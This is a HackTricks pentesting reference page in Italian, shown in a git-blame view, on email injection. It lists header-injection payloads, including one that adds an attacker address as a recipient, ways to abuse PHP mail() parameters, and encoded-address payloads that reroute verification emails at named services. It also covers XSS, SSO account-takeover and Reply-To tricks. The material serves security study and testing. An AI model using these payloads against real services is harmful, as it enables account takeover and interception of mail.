hacktricks/pentesting-web/email-injections.md

238 lines
13 KiB
Markdown
Raw Normal View History

# Email Injections
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
Accedi oggi:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Supporta HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Inietta in e-mail inviate
### Inietta Cc e Bcc dopo l'argomento del mittente
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Il messaggio verrà inviato agli account recipient e recipient1.
### Inject argument
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Il messaggio verrà inviato al destinatario originale e all'account dell'attaccante.
### Inject Subject argument
2024-02-10 13:03:23 +00:00
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
L'oggetto falso verrà aggiunto all'oggetto originale e in alcuni casi lo sostituirà. Dipende dal comportamento del servizio di posta.
### Cambiare il corpo del messaggio
Inietta un'interruzione di riga di due linee, quindi scrivi il tuo messaggio per cambiare il corpo del messaggio.
2021-11-27 01:09:08 +00:00
```
2024-02-10 13:03:23 +00:00
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Sfruttamento della funzione PHP mail()
2021-11-27 01:09:08 +00:00
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
2024-02-10 13:03:23 +00:00
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
2021-11-27 01:09:08 +00:00
}
```
2024-02-10 13:03:23 +00:00
#### Il 5° parametro ($additional\_parameters)
2021-11-27 01:09:08 +00:00
Questa sezione si baserà su **come abusare di questo parametro supponendo che un attaccante lo controlli**.
2021-11-27 01:09:08 +00:00
Questo parametro verrà aggiunto alla riga di comando che PHP utilizzerà per invocare il binario sendmail. Tuttavia, verrà sanitizzato con la funzione `escapeshellcmd($additional_parameters)`.
2021-11-27 01:09:08 +00:00
Un attaccante può **iniettare parametri estratti per sendmail** in questo caso.
2021-11-27 01:09:08 +00:00
2024-02-10 13:03:23 +00:00
#### Differenze nell'implementazione di /usr/sbin/sendmail
2021-11-27 01:09:08 +00:00
L'interfaccia **sendmail** è **fornita dal software MTA email** (Sendmail, Postfix, Exim, ecc.) installato sul sistema. Sebbene la **funzionalità di base** (come i parametri -t -i -f) rimanga la **stessa** per motivi di compatibilità, **altre funzioni e parametri** variano notevolmente a seconda dell'MTA installato.
2021-11-27 01:09:08 +00:00
Ecco alcuni esempi di diverse pagine man del comando/interfaccia sendmail:
2021-11-27 01:09:08 +00:00
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
A seconda dell'**origine del binario sendmail**, sono state scoperte diverse opzioni per abusarne e **leakare file o persino eseguire comandi arbitrari**. Controlla come in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
2021-11-27 01:09:08 +00:00
## Iniettare nel nome dell'email
{% hint style="danger" %}
Nota che se riesci a creare un account in un servizio con un nome di dominio arbitrario (come Github, Gitlab, CloudFlare Zero trust...) e verificarlo ricevendo l'email di verifica nel tuo indirizzo email, potresti essere in grado di accedere a posizioni sensibili dell'azienda vittima
{% endhint %}
2022-12-29 12:18:46 +00:00
### Parti ignorate di un'email
2022-12-29 12:18:46 +00:00
I simboli: **+, -** e **{}** in rare occasioni possono essere usati per il tagging e ignorati dalla maggior parte dei server email
2022-12-29 12:18:46 +00:00
* E.g. john.doe+intigriti@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
**Commenti tra parentesi ()** all'inizio o alla fine verranno anch'essi ignorati
2022-12-29 12:18:46 +00:00
* E.g. john.doe(intigriti)@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
2024-02-10 13:03:23 +00:00
### Bypass della whitelist
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
### Citazioni
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
### IP
2022-12-29 12:18:46 +00:00
Puoi anche usare IP come nomi di dominio tra parentesi quadre:
2022-12-29 12:18:46 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Codifica dell'email
Come spiegato in [**questa ricerca**](https://portswigger.net/research/splitting-the-email-atom), i nomi delle email possono anche contenere caratteri codificati:
* **Overflow PHP 256**: La funzione PHP `chr` continuerà ad aggiungere 256 a un carattere fino a diventare positivo e poi eseguire l'operazione `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
L'obiettivo di questo trucco è terminare con un'iniezione come `RCPT TO:<"collab@psres.net>collab"@example.com>`\
che invierà l'email di verifica a un indirizzo email diverso da quello previsto (pertanto per introdurre un altro indirizzo email all'interno del nome dell'email e rompere la sintassi durante l'invio dell'email)
{% endhint %}
Diverse codifiche:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
* Nota l'`@` codificato come =40, il `>` codificato come `=3e` e `null` come `=00`&#x20;
* Invierà l'email di verifica a `collab@psres.net`
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
* Stesso trucco di prima ma aggiungendo una normale virgolette all'inizio e la virgolette codificata `=22` prima dell'`@` codificato e poi iniziando e chiudendo alcune virgolette prima della prossima email per correggere la sintassi utilizzata internamente da Zendesk
* Invierà l'email di verifica a `collab@psres.net`
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
* Nota l'uso dell'underscore come spazio per separare l'indirizzo
* Invierà l'email di verifica a `collab@psres.net`
* Punycode: Utilizzando Punycode è stato possibile iniettare un tag `<style` in Joomla e abusarne per rubare il token CSRF tramite esfiltrazione CSS.
#### Tooling
* Esiste uno **script Burp Suite Turbo Intruder** per fuzzare questi tipi di combinazioni per cercare di attaccare i formati email. Lo script ha già combinazioni potenzialmente funzionanti.
* È anche possibile utilizzare [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) per creare un attacco di splitting email
### Other vulns
2022-12-29 12:18:46 +00:00
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
2022-12-29 12:18:46 +00:00
## Terze parti SSO
2022-12-29 12:18:46 +00:00
### XSS
Alcuni servizi come **github** o **salesforce** ti permettono di creare un **indirizzo email con payload XSS su di esso**. Se puoi **utilizzare questi fornitori per accedere ad altri servizi** e questi servizi **non stanno sanitizzando** correttamente l'email, potresti causare **XSS**.
2022-12-29 12:18:46 +00:00
### Account-Takeover
Se un **servizio SSO** ti consente di **creare un account senza verificare l'indirizzo email fornito** (come **salesforce**) e poi puoi utilizzare quell'account per **accedere a un servizio diverso** che **si fida** di salesforce, potresti accedere a qualsiasi account.\
_Nota che salesforce indica se l'email fornita è stata o meno verificata, ma l'applicazione dovrebbe tenere conto di queste informazioni._
2022-12-29 12:18:46 +00:00
## Reply-To
2022-12-29 12:18:46 +00:00
Puoi inviare un'email utilizzando _**From: company.com**_ e _**Replay-To: attacker.com**_ e se viene inviata una **risposta automatica** a causa dell'email inviata **da** un **indirizzo interno**, l'**attaccante** potrebbe essere in grado di **ricevere** quella **risposta**.
2022-12-29 12:18:46 +00:00
## Hard Bounce Rate
2022-12-29 12:18:46 +00:00
Alcuni servizi, come AWS, implementano una soglia nota come **Hard Bounce Rate**, tipicamente impostata al 10%. Questo è un indicatore critico, specialmente per i servizi di consegna email. Quando questa soglia viene superata, il servizio, come il servizio email di AWS, potrebbe essere sospeso o bloccato.
2022-12-29 12:18:46 +00:00
Un **hard bounce** si riferisce a un'**email** che è stata restituita al mittente perché l'indirizzo del destinatario è invalido o inesistente. Questo potrebbe verificarsi per vari motivi, come l'**email** inviata a un indirizzo non esistente, un dominio che non è reale, o il rifiuto del server del destinatario di accettare **email**.
2022-12-29 12:18:46 +00:00
Nel contesto di AWS, se invii 1000 email e 100 di esse risultano in hard bounce (a causa di motivi come indirizzi o domini non validi), questo significherebbe un tasso di hard bounce del 10%. Raggiungere o superare questo tasso può attivare AWS SES (Simple Email Service) per bloccare o sospendere le tue capacità di invio email.
2024-02-05 20:00:40 +00:00
È cruciale mantenere un basso tasso di hard bounce per garantire un servizio email ininterrotto e mantenere la reputazione del mittente. Monitorare e gestire la qualità degli indirizzi email nelle tue liste di distribuzione può aiutare significativamente a raggiungere questo obiettivo.
2024-02-05 20:00:40 +00:00
Per informazioni più dettagliate, puoi fare riferimento alla documentazione ufficiale di AWS sulla gestione dei bounce e dei reclami [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
2022-12-29 12:18:46 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2021-11-27 01:09:08 +00:00
2022-12-29 12:18:46 +00:00
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Supporta HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della **comunità più avanzati** al mondo.\
Ottieni accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}